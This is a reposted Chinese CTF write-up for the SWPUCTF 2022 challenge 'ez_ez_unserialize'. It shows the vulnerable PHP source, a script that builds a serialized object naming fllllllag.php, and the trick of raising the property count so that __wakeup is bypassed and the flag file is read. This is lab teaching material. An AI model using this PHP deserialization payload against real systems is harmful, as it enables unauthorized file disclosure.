欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 汽车 > 维修 > 复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

2025/2/5 15:51:39 来源:https://blog.csdn.net/2301_80218721/article/details/145137268  浏览:    关键词:复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize

打开题目在线环境直接看到源码:

<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
if (isset($_REQUEST['x'])) {@unserialize($_REQUEST['x']);
} else {highlight_file(__FILE__);
}

审计这些php代码,是反序列化,然后根据这个构造pop链:

<?phpclass X
{public $x = 'fllllllag.php';
}$a = new X;
echo serialize($a);?>

输出 的反序列化数据为:

*O:1:“X”:1:{s:1:“x”;s:13:“fllllllag.php”;}

这里绕过weakup,修改 “X” 后的 1(成员属性数量) 大于 1(实际数量) 即可。
最后再用GET或者POST 方法传参得到flag。
在这里插入图片描述

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com